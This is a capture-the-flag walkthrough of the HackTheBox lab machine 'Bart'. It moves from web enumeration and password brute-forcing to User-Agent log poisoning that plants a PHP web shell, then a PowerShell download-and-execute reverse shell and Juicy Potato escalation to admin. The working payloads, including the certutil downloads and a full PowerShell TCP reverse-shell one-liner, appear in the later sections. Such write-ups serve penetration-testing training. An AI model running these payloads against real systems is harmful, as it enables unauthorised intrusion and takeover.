Bart

Note: In an attempt to be OSCP friendly, NONE of my write ups will utilize Metasploit. Zero. Zip. Tell your friends.

We’ll start with our initial nMap scan: nmap -A -p – 10.10.10.81

And it appears the only thing running on this box is a website with IIS 10 which was released with Server 2016 and Windows 10. Let’s open up our browser and have a look.

Navigating to the browser leads to some type of re-direct. We can kind of see that is’t trying to go to http://forum.bart.htb in the encoded URL address bar. A Nikto scan shows a similar re-direct:

So to navigate to the site we’re going to have to update our host file: nano /etc/hosts and then add the entry for forum.bart.htb

And now we’re getting somewhere:

Looking around the website there isn’t a whole lot of information. A couple of potential usernames, an email address of [email protected]. However, when you right click on the webpage and select “View Source” and start browsing through the comments, there is a little more information:

GoBuster

Since we haven’t gotten very far, let’s use GoBuster to try to enumerate some more information: gobuster dir -u 10.10.10.81 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

And we get an error pointing us to a new URL. This indicates that when GoBuster tries to get to a URL, instead of getting a HTML response code indicating page not found it will just re-direct to the page specified: http://10.10.10.81/76c8ce8c-07bb-4590-8736-abbc5dd625b9

We can tell GoBuster that we only want to see certain HTML response codes. So in this case, let’s look for 204, 301, 302, 307, 401, and 403. So we’ll update our command to this (and we’ll use the -t command to tell GoBuster to use more threads rather than the default 10): gobuster dir -u 10.10.10.81 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -s “204,301,302,307,401,403” -t 50

Within the first minute of enumeration we see something new:

Alternate Method – WFuzz

WFuzz can also be used to enumerate the site. Let’s try it with this command: wfuzz -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.81/FUZZ

Here we can see the HTTP 200 response codes pointing to the image we identified earlier. If we were to let this run it would spam up our screen and make things very hard to read like this:

We can add grep -v 150693 to our earlier command to filter out these responses: wfuzz -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.81/FUZZ | grep -v 150693

When we let this run for a few moments, we can see the monitor page in addition to the forum page discovered earlier:

So let’s navigate to http://10.10.10.81/monitor

So we have a login page, but before we try tactics like brute forcing and such, let’s just see what normal functionality looks like. Let’s start by clicking on Forgot Password.

From the forgot password page we can try a few things. Based on our initial review of the homepage we have the following possile names/usernames:

• info
• Samantha Brown
• Daniel Simmons
• Robert Hilton
• Harvey Potter

From this page if you try different usernames to reset an error returns if the user is not found:

When I entered Harvey, though, we got a positive return so this username exists within the application:

Let’s try to brute force this.

Brute Force Login: With Hydra

To use Hydra to brute force a webpage a little investigation is required. Let’s start by curling the webpage: curl http://10.10.10.81/monitor/

There are a few things we want to identify here: The method used and the names used for the username and password values:

Let’s verify this. We can bring up the Network inspector tab within our browser in Kali and then enter some values in the username and password field and then click on Login.

We can confirm here that it is indeed a POST request. Now click on the POST request to bring up the header information.

To see the exact login parameters click on Edit and Resend.

And if we look within the Request Body and scroll over, we can see the parameters for username and password:

Now, let’s start crafting our Hydra command. We’re going to use a few options:

• -s = Specifies which port to use
• -l = specifies which username (Harvey in this case)
• -P = indicates which wordlist we’re going to use (rockyou.txt)
• -vV = Extra verbose, and will show every attempt to login
• -f = Quit Hydra when a working username and password is found
• -t = Defines number of threads to be used. We can use 1 because then we know next attempt will happen after the previous.
• -w = The wait time before Hydra sends the next response
• -W = The time Hydra will wait before sending the next request after the previous one has executed

With all this said and done we now have a payload: hydra -l Harvey -P /usr/share/wordlists/rockyou.txt 10.10.10.81 http-post-form “/monitor/index.php:csrf=ba5aec6a38915023fdb15d5243d004cae52623ff854adffa038047260dab59b8&user_name=^USER^&user_password=^PASS^&action=login:F=incorrect.:H=Cookie: PHPSESSID=8v23csoqsu1ej9mbt8dr2vv2d” -t 1 -w 5 -W 1 -vV

And we instantly have a positive…so something isn’t working with Hydra. I suspect the Cross Site Request Forgery token is causing problems.

Password Brute Force w/ Burp Suite

There’s a few ways to try to log in. Guessing the password is pretty easy, but let’s build something that we could use down the road when the password isn’t so easy. We’ve used wordlists in the past, like rockyou.txt. This time, let’s try building a wordlist on our own.

There’s a tool built into Kali called cewl. It’s a custom wordlist generator that spiders a given URL and returns a list of words that could then be used to try to brute force a password. Documentation can be found here: https://tools.kali.org/password-attacks/cewl

We’ll start by generating a wordlist: cewl -w cewl-forum.txt -e -a http://forum.bart.htb

It runs quite quick, and in this case returned over 200 words (and a few e-mail addresses) we can use.

Now that we have a wordlist, let’s tweak it a bit. We’ll start with removing the e-mail addresses at the end, and we can just do this in Nano. Then, we’ll want to do some simple syntax things such as trying a lowercase version of each word and then a version of each word with the first letter capitalized. We’ll do that with a tool called tr. TR is an abbreviation of translate or transliterate, and lets us replace or remove specific characters. We’ll start with taking our wordlist and making all the capitol letters lowercase and then saving that to a file: cat list.txt | tr ‘[A-Z]’ ‘[a-z]’ > master_list.txt

Then we’ll make all the letters uppercase and append our list: cat list.txt | tr ‘[a-z]’ ‘[A-Z]’ >> master_list.txt and then we’ll just add our original list to the master list: cat list.txt >> master_list.txt

Now, let’s try using this list in Burp Suite. Initially when I did the initial attack it stopped after one try and I got a false positive.

We’re gonna need to tweak a couple of things. Let’s do this step by step. We’ll start by having Burp Suite open, Intercept on, and we’ll submit a request to log into the web page as the user Harvey.

Let’s right click on the Burp suite window and click on Send to Intruder.

Then make sure you click on the Intruder tab.

Then the Positions tab.

From here click on Clear.

And then highlight whatever value you entered when you submitted the password on the web page, and then click on Add.

Your Burp window should now look like the one below:

Now click on the Payloads tab and then on Load. When you click on Load navigate to the list of passwords you created (or the one you want to use).

Next, click on the Options tab and scroll down to Grep – Extract.

From the above window, click on Add and in the new window Fetch response.

What you want to do now is scroll down through the response window until you see the message that coincides with an incorrect login. In this case we’re looking for The information is incorrect. So highlight it, and click on Ok.

Now scroll back up to the top and click on Start Attack.

It will take some time to iterate through our wordlist, so now would be a good time to get a drink. After a while you can scroll through the results and we have a potential hit:

So it looks like the potter password works, but we get another dns error:

So let’s update our /etc/hosts file again with the url it’s trying to get to: monitor.bart.htb

When we save that entry and navigate back to monitor.bart.htb and login with the Harvey and potter password, we’re presented with a new screen:

Clicking around I eventually found a page displaying Servers, with a link to http://internal01.bart.htb and upon navigating to it we get a DNS error again.

So let’s update our hosts file again:

And now we have another login page:

I tried logging in with Harvey and potter and get an error that the password must be at least 8 characters.

So with this information, I’m going to assume that the username Harvey will still work. Let’s intercept a login packet with Burp and see if there’s any CSRF tokens or other things we may have to deal with:

And it looks like we have a pretty normal login request. So let’s see if we can get Hydra to crack it since it’s a lot quicker.

Hydra (Again)

We know there’s a minimum length to the passwords, so we can use a tool called pw-inspector to get the ones that are eight characters or larger and save these to a file we’ll use with Hydra: pw-inspector -i /usr/share/wordlists/rockyou.txt -m 8 > 8passwords.txt

And then we can tweak our Hydra command with our updated parameters, values, and password list: hydra -l harvey -P ~/Documents/Bart/8passwords.txt -t 60 internal-01.bart.htb http-form-post “/simple_chat/login.php:uname=^USER^&passwd=^PASS^&submit=Login:F=Invalid Username or Password”

After a few moments we have a hit, Password1 so let’s try it.

So we have an internal chat application, but not a whole lot else. Let’s right click on the webpage and view the Page Source. If we scroll through it a bit we see a path to a log file.

I started by navigating to the page mentioned: http://internal-01.bart.htb/log/log.php

And we get an error, so it looks like we need to specify the log name in the path (like it does in the comments): http://internal-01.bart.htb/log/log.php?filename=log.txt

And then specify the username: internal-01.bart.htb/log/log.php?filename=log.txt&username=harvey

And this is less than exciting. Let’s try a little directory traversal and see if we can view the log.txt file: http://internal-01.bart.htb/log/log.txt

It looks like when someone clicks the Log button in the chat page it adds an entry to the logfile.txt. Let’s use Burp to intercept this and see what parameters are passing.

It looks like the User-Agent is being passed to the log file because this matches what we see when we look at log.txt. Let’s modify the parameter and see if the log will accept any value it gets. And it looks like it does, because I changed the version of Mozilla in the screen shot above to 8 and that’s what recorded in the log.txt

So there’s a couple of routes to go from here, and I’m going to try both of them. We’ll start our investigation by right clicking on our intercepted packed in Burp and sending it to Repeater:

Let’s start by seeing if we can view any .php files, since there isn’t a whole lot we can do with text files. So let’s modify the log.txt to log.php and then click on Send.

So it looks like that’s good to go, we can interact with the log.php file. Let’s see if we can create new files too, and maybe have it display some information back:

To do this we update the filename parameters as noted in the picture above and then change the User-Agent value to <?php phpinfo(); ?> which, if it works properly, should display some information regarding the PHP server. So click on Send once you’ve made those changes, turn off Burp Proxy Intercept, and then navigate to http://internal-01.bart.htb/log/mystuff.php

Success! We now know we can create new files (which would keep us from breaking something) and write to them. What we’ll do now is use a one-liner to get a webshell: <?php system($_GET[‘cmd’]); ?>

To do this we need to turn intercept back on in Burp and get the “Log” request again so we can modify it.

Send it, turn Intercept in Burp back off, and then navigate to http://internal-01.bart.htb/log/mytest.php?cmd=whoami

And now we can execute commands on the server! We can also confirm this functionality via the command line: curl http://internal-01.bart.htb/log/mytest.php?cmd=whoami

Now we want a fully interactive shell on the machine. We can do this with either NetCat or PowerShell. Both methods involve transferring files to the victim system, but NetCat is detected by even the most basic anti-virus programs running on Windows. So let’s try PowerShell.

Shell with Nishang

We used Nishang on the Jeeves and Chatterbox HTB machines. If you don’t have Nishang downloaded already you can get it from here: https://github.com/samratashok/nishang.git

Let’s start by finding it on our Kali box and then copying it to the directory we’re working in: locate Invoke-PowerShellTcp.ps1 and then cp /root/Documents/nishang/Shells/Invoke-PowerShellTcp.ps1 shell.ps1

Then we have to add a one-liner to the end of it to specify our Kali IP address and the port we’re going to listen in on: Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.8 -Port 4444

Save it, and then let’s spin up our Simple HTTP Server so we can copy it over: python -m SimpleHTTPServer 80

Now we have to craft our command to pull and then execute the script. We can do it either via the Command Line or with Burp. We’ll start with Burp and the command we want to execute is Powershell “IEX(New-Object Net.WebClient).downloadString(‘http://10.10.14.8:80/shell.ps1’)”

Now there’s a space between the word Powershell and the “IEX so we need to get rid of that. To encode this, highlight the command in Burp and then it Ctrl + U on your keyboard to encode it:

Make sure you start up your NetCat listener and then hit “Send” in Burp.

Well, I tried to hit Send and nothing happened, so I just copied the encoded line and put it in the browser window: internal-01.bart.htb/log/mytest.php?cmd=Powershell+%22IEX(New-Object+Net.WebClient).downloadString(%27http%3a//10.10.14.8%3a80/shell.ps1%27)%22

Check your NetCat window and you should have a shell.

You can also take the same URL encoded request and send the command with Curl instead of using the browser and get the same results:

Privilege Escalation

I started with a few basic commands like systeminfo and whoami /priv

It looks like the SeImpersonatePrivilege token is enabled, so Juicy Potato should work. If you want to see the step-by-step of it check out the Arctic article. I’m gonna try it here right quick.

And..super quickly into it I had deja vu. In Arctic I used MSFVenom to create a payload and saved it as shell.exe. In this box, as soon as it’s transferred over to our target Windows Defender removes it. One time, I tried copying it over super quick and then I still got errors:

So we’ll try with a script, and then I’ll try with a form of anti-virus evasion just to see if it works.

Juicy Potato

Start by locating Juicy Potato (if you have it downloaded already) and making a copy of it to your current working directory. Then we’re going to create a .bat script to execute in tandem with it (make sure you update your IP and listening port in the script).

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.30',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (IEX $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Now we need to copy the shell.bat file to our target machine along with Juicy Potato, so let’s use Cert Util to do this: certutil.exe -urlcache -split -f http://10.10.14.30/shell.bat and ertutil.exe -urlcache -split -f http://10.10.14.30/JP.exe

Then I tried executing it: C:\inetpub\wwwroot\internal-01\log\JP.exe -l 4444 -p C:\inetpub\wwwroot\internal-01\log\shell.bat -t *

And we get an error. So we probably need the CLSID. Now, there are two ways to go about this. One is to just guess each CLSID for the machine based on the list here. The other is to run a script to tell us which CLSID’s are on the machine. That script is available here: https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1

So let’s save this GetCLSID.ps1 script to our Kali box, use CertUtil to copy it over, and run it:

And we can see here that we can’t execute scripts on this machine….at least with PowerShell. So we’ll have to do option two, just go down the list of CLSID’s and hope one works. Eventually, we come across one that works:

So we can then execute this: C:\inetpub\wwwroot\internal-01\log\JP.exe -t * -p C:\inetpub\wwwroot\internal-01\log\shell.bat -l 4444 -c “{7A6D9C0A-1E7A-41B6-82B4-C3F7A27BA381}”

Make sure your NetCat listener is up before you execute it, and you should have a reverse shell with admin privs: